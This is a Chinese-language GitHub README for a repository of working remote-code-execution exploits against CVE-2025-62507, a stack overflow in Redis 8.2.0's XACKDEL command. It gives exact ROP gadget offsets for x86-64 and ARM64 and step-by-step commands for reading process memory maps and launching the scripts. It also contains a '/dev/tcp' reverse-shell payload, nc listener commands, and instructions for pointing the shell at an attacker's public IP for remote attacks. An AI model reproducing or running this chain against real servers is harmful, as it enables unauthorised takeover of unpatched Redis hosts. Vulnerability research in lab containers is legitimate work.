GartonChan/redis-cve-2025-62507
GitHub: GartonChan/redis-cve-2025-62507
Redis CVE-2025-62507 漏洞利用脚本
Stars: 0 | Forks: 0
# 漏洞利用脚本 — CVE-2025-62507
## 目录结构
```
scripts/
├── exploit_x86.py # x86-64 ROP exploit
├── exploit_arm64.py # ARM64 (AArch64) ROP exploit
└── gdb_with_symbols.sh # GDB 调试辅助脚本
```
## 漏洞摘要
| 项目 | 说明 |
|------|------|
| CVE | CVE-2025-62507 |
| 漏洞类型 | 栈缓冲区溢出 (Stack Buffer Overflow) |
| 受影响组件 | Redis 8.2.0 `xackdelCommand` 函数 |
| 触发方式 | `XACKDEL` 命令携带超过 52 个 streamID |
| 利用技术 | ROP 链 → `mprotect` 解锁栈执行权限 → shellcode 反弹 shell |
| 依赖 | Python 3 (纯标准库,无需额外安装) |
## 前置条件
1. **目标环境**:运行 Redis 8.2.0(有漏洞版本)的 Docker 容器或主机
2. **监听终端**:攻击机需提前启动 `nc -lvnp 4444` 等待反弹 shell
3. **地址获取权限**:需能读取目标进程的 `/proc//maps`(root 权限)
4. **Python 3**:两个 exploit 脚本仅使用标准库(`socket`, `struct`, `time`, `sys`)
## 快速开始
### 1. 启动有漏洞的 Redis 容器
```
# 在项目根目录执行
docker compose -f docker-compose-vulnerable.yml up -d
# 确认容器运行
docker ps | grep redis-cve-2025-62507
```
### 2. 获取关键内存地址
```
REDIS_PID=$(docker top redis-cve-2025-62507 | grep redis-server | grep -v bash | awk '{print $2}')
# x86-64 地址获取
REDIS_BASE=$(sudo cat /proc/$REDIS_PID/maps | grep -w redis-server | head -1 | cut -d'-' -f1)
LIBC_BASE=$(sudo cat /proc/$REDIS_PID/maps | grep libc.so | head -1 | cut -d'-' -f1)
STACK_ADDR=$(sudo cat /proc/$REDIS_PID/maps | grep -w stack | head -1 | cut -d'-' -f1)
echo "REDIS_BASE=$REDIS_BASE LIBC_BASE=$LIBC_BASE STACK_ADDR=$STACK_ADDR"
```
### 3. 启动反弹 shell 监听
```
# 在宿主机另开一个终端
nc -lvnp 4444
```
### 4. 运行 exploit
```
# x86-64
python3 scripts/exploit_x86.py 0x$REDIS_BASE 0x$LIBC_BASE 0x$STACK_ADDR
# ARM64 (Docker QEMU 固定地址, ASLR=OFF)
python3 scripts/exploit_arm64.py 0xaaaaaaaa0000 0xfffff7630000 0xfffffffff7e0 [rev_host] [rev_port] [target]
```
## exploit_x86.py — x86-64 ROP 漏洞利用
### 用法
```
python3 scripts/exploit_x86.py
```
### 参数说明
| 参数 | 含义 | 获取方式 | 示例值 |
|------|------|---------|--------|
| `redis_base` | redis-server ELF 基地址 | `/proc/PID/maps` 中 `redis-server` 首段起始地址 | `0x555555554000` |
| `libc_base` | libc.so.6 基地址 | `/proc/PID/maps` 中 `libc.so` 首段起始地址 | `0x7ffff75b3000` |
| `stack_addr` | 线程栈段起始地址 | `/proc/PID/maps` 中 `[stack]` 段起始地址 | `0x7ffffffde000` |
### ROP 链架构
```
52 个填充 ID (1-1)
│
▼
ID#53 overflow ──→ pop rdi; ret (redis + 0x82327)
ID#54 ──→ pop rsi; ret (redis + 0x86416)
ID#55 ──→ pop rdx; ret (redis + 0xba1e2)
ID#56 ──→ mprotect() (libc + 0x1019e0)
ID#57 ──→ call rsp (redis + 0x9486d)
ID#58+ ──→ shellcode ──→ system("/bin/bash -c '...'")
```
### Gadget 偏移 (redis-server-8.2.0)
| Gadget | 偏移 | 说明 |
|--------|------|------|
| `pop rdi; ret` | `0x82327` | 设置 mprotect 第 1 参数 (addr) |
| `pop rsi; ret` | `0x86416` | 设置 mprotect 第 2 参数 (len) |
| `pop rdx; ret` | `0xba1e2` | 设置 mprotect 第 3 参数 (prot) |
| `call rsp` | `0x9486d` | 跳转到栈上 shellcode |
| `mprotect` (libc) | `0x1019e0` | 解锁栈页为 RWX |
| `system` (libc) | `0x4c490` | 执行反弹 shell 命令 |
### 自定义反弹 Shell 地址
`reverse_shell_cmd` 变量定义于脚本第 149 行,默认值如下:
```
reverse_shell_cmd = "/bin/bash -c '/bin/bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'"
```
**修改方法**:编辑 `exploit_x86.py`,找到 `reverse_shell_cmd` 行,替换 IP 和端口:
| 场景 | IP | 说明 |
|------|-----|------|
| Docker `host` 网络 (默认) | `127.0.0.1` | 容器与宿主机共享网络栈,127.0.0.1 即宿主机 |
| Docker `bridge` 网络 | `172.17.0.1` | 默认桥接网关,指向宿主机 |
| 远程攻击 | `<攻击机公网IP>` | 目标需能路由到攻击机对应端口 |
端口修改:将 `/dev/tcp//4444` 中的 `4444` 替换为实际监听端口。
## exploit_arm64.py — ARM64 ROP 漏洞利用
### 用法
```
python3 scripts/exploit_arm64.py [rev_host] [rev_port] [target]
```
### 参数说明
| 参数 | 含义 | 获取方式 | 示例值 |
|------|------|---------|--------|
| `redis_base` | redis-server-8.2.0-arm64 ELF 基地址 | `/proc/PID/maps` 中 `redis-server` 首段起始地址 | `0xaaaaaaaa0000` |
| `libc_base` | libc.so.6-arm64 基地址 | `/proc/PID/maps` 中 `libc.so` 首段起始地址 | `0xfffff7630000` |
| `stack_addr` | `xackdelCommand` 入口处 SP 的值 (来自 GDB 分析) | GDB 断点观察 `xackdelCommand` 入口 SP | `0xfffffffff7e0` |
| `rev_host` | (可选) 反弹 shell 攻击机 IP | — | `192.168.1.1` |
| `rev_port` | (可选) 反弹 shell 监听端口 | — | `4444` |
| `target` | (可选) 目标 Redis IP | — | `192.168.1.129` |
### ROP 链架构
```
49 个填充 ID (1-1)
│
▼
ID#49-58 call() 尾声帧 (10 IDs) — 覆盖 call() 保存的寄存器和局部变量
│ #49: saved x29 (dummy) + x30 (G5)
│ #50: saved x19/x20, #51: saved x21(=0)/x22
│ #52: x23/x24, #53: x25/x26, #54: x27/x28
│ #55-58: 局部变量 (设为 0)
│
▼ call() ret → SP = stack_addr + 0xa0
│
ID#59-61 Step 1: G5 (redis + 0x1a4d40) x0=writable, → G_SET_X2_7
ID#62-65 Step 2: G_SET_X2_7 (redis + 0x1d7a84) w2=7, → LDR_X1_SIDELOAD
ID#66-67 Step 3: LDR_X1_SIDELOAD (libc + 0x34ab4) x1=0x1000, → G5
ID#68-70 Step 4: G5 (redis + 0x1a4d40) x19=mprotect, → MOV_X3_X19
ID#71-93 Step 5: MOV_X3_X19 (redis + 0x2948b0) x3=mprotect, → LDR_X0_CLEAN
ID#94-95 Step 6: LDR_X0_CLEAN (libc + 0x6ae40) x0=stack_page, → BLR_X3
ID#96-98 Step 7: BLR_X3 (redis + 0x92bc4) call mprotect → shellcode
ID#99+ shellcode — system("/bin/bash -c 'reverse_shell_cmd'")
```
### Gadget 偏移 (redis-server-8.2.0-arm64)
| Gadget | 偏移 | 功能 | 栈消耗 |
|--------|------|------|--------|
| `G5` (ldp x19,x20 + ldr x0) | `0x1a4d40` | 加载 x19, x0 从栈 | 0x30 (3 IDs) |
| `G_SET_X2_7` | `0x1d7a84` | 设置 w2=7, w1=-1 (副作用) | 0x40 (4 IDs) |
| `MOV_X3_X19` | `0x2948b0` | x3 = x19 (mprotect), 覆盖 x0 | 0x170 (23 IDs) |
| `BLR_X3` | `0x92bc4` | blr x3; 调用 mprotect | 0x30 (3 IDs) |
### Gadget 偏移 (libc.so.6-arm64, Docker 容器内)
| Gadget | 偏移 | 功能 | 栈消耗 |
|--------|------|------|--------|
| `LDR_X1_SIDELOAD` | `0x34ab4` | ldr x1,[sp,#0x18]; **mov x0,x1 (副作用!)** | 0x20 (2 IDs) |
| `LDR_X0_CLEAN` | `0x6ae40` | ldr x0,[sp,#0x18]; 无副作用 | 0x20 (2 IDs) |
| `mprotect` | `0xe3ac0` | 修改内存权限 | - |
| `system` | `0x49c24` | 执行 shell 命令 | - |
### 自定义反弹 Shell 地址
`reverse_shell_cmd` 在 `build_exploit_arm64()` 函数中动态构建,基于 `rev_shell_host` 和 `rev_shell_port` 参数:
```
reverse_shell_cmd = f"/bin/bash -c '/bin/bash -i >& /dev/tcp/{rev_shell_host}/{rev_shell_port} 0>&1'"
```
**推荐方法**:通过命令行参数指定反弹地址:
```
# 默认: 192.168.1.1:4444 → 192.168.1.129:6379
python3 scripts/exploit_arm64.py 0xaaaaaaaa0000 0xfffff7630000 0xfffffffff7e0
# 自定义反弹地址和端口:
python3 scripts/exploit_arm64.py 0xaaaaaaaa0000 0xfffff7630000 0xfffffffff7e0 10.0.0.1 9999 10.0.0.100
# ^^^^^^^^ ^^^^ ^^^^^^^^^^^
# 反向主机 反向端口 目标
```
**直接修改**:编辑 `exploit_arm64.py`,修改 `exploit()` 函数默认参数值:
| 场景 | IP | 说明 |
|------|-----|------|
| Docker `host` 网络 | `127.0.0.1` | 容器与宿主机共享网络栈,127.0.0.1 即宿主机 |
| Docker `bridge` 网络 | `172.17.0.1` | 默认桥接网关,指向宿主机 |
| QEMU 虚拟机 | `192.168.1.1` | 宿主机在 QEMU 网络中的地址 |
| 远程攻击 | `<攻击机公网IP>` | 目标需能路由到攻击机对应端口 |
## GDB 调试
### 使用 gdb_with_symbols.sh
```
# 获取 Redis PID
REDIS_PID=$(docker top redis-cve-2025-62507 | grep redis-server | grep -v bash | awk '{print $2}')
# 启动 GDB 并自动设置断点
./scripts/gdb_with_symbols.sh $REDIS_PID
```
脚本会自动:
1. 加载 `binaries/redis-server-8.2.0` 符号表
2. 在 `xackdelCommand` 设置断点
3. 在 `mprotect` 设置断点
4. 在 `system` 设置断点
### 关键断点位置
```
# xackdelCommand 入口 — 观察正常栈布局
break xackdelCommand
# 第 53 个 streamID 写入后 — 观察返回地址被覆写
# (在循环体内设置条件断点)
# mprotect 调用前 — 验证参数 rdi/rsi/rdx
break mprotect
# system 调用前 — 验证 rdi 指向命令字符串
break system
```
### 验证 exploit 关键步骤
```
# 1. 进入 xackdelCommand 后,找到 static_ids 数组位置
(gdb) x/10gx $rbp - 0x340 # x86-64
(gdb) x/10gx $sp # ARM64
# 2. mprotect 断点触发时,验证参数
(gdb) info registers rdi rsi rdx # x86-64
(gdb) info registers x0 x1 x2 # ARM64
# 预期: rdi/x0=stack_page, rsi/x1=0x20000, rdx/x2=7
# 3. mprotect 返回后,检查 RAX/X0 (=0 表示成功)
(gdb) finish
(gdb) info registers rax # x86-64
(gdb) info registers x0 # ARM64
# 4. 观察 shellcode 执行
(gdb) x/20i $rsp # x86-64: call rsp 后的 shellcode
(gdb) x/20i $x30 # ARM64: 跳转前的返回地址
```
## 故障排除
| 现象 | 可能原因 | 解决方法 |
|------|---------|---------|
| `ConnectionRefusedError` | Redis 未启动或端口不对 | `docker ps` 确认容器状态,检查端口 6379 |
| Redis 未崩溃,响应 `PONG` | 填充数量不足,返回地址未被覆写 | 确认使用正确数量的填充 ID(x86: 52, ARM64: 49),检查二进制版本匹配 |
| Redis 崩溃但 nc 无连接 | 地址计算错误 | 重新获取 `/proc/PID/maps`,验证 gadget 偏移匹配对应的二进制文件 |
| `streamParseStrictIDOrReply` 解析失败 | streamID 格式错误 | 确保使用 `ms-seq` 格式(无符号整数),避免负数产生双 `--` |
| mprotect 返回非 0 | 栈地址未页对齐或范围无效 | 检查 `stack_page` 是否按 `0x1000` 对齐 |
| ARM64: `str w2, [x0]` 崩溃 | `G_SET_X2_7` 的 x0 未指向可写内存 | 确认 `writable_addr` 指向已映射的栈区域 |
| nc 反复断开 | shellcode 中的 IP:Port 不正确 | 修改脚本中的 `reverse_shell_cmd`,IP 改为攻击机可达地址 |
## 环境清理
```
# 停止并删除容器
docker compose -f docker-compose-vulnerable.yml down
```
## 文件引用
| 文件 | 说明 |
|------|------|
| `scripts/exploit_x86.py` | x86-64 最终 RCE exploit |
| `scripts/exploit_arm64.py` | ARM64 (AArch64) RCE exploit |
| `scripts/gdb_with_symbols.sh` | GDB 符号加载与断点辅助脚本 |
| `docker-compose-vulnerable.yml` | 有漏洞 Redis 8.2.0 容器编排 |
| `binaries/redis-server-8.2.0` | x86-64 Redis ELF(带符号表) |
| `binaries/redis-server-8.2.0-arm64` | ARM64 Redis ELF(带符号表) |
| `binaries/libc.so.6` | x86-64 libc |
| `binaries/libc.so.6-arm64` | ARM64 libc |
| `docs/X86_CVE-2025-62507_EXPLOITATION_DETAIL.md` | x86-64 漏洞利用完整技术详解 |
| `docs/ARM64_GADGET_CATALOG.md` | ARM64 ROP gadget 完整目录 |
标签:威胁模拟, 请求拦截, 逆向工具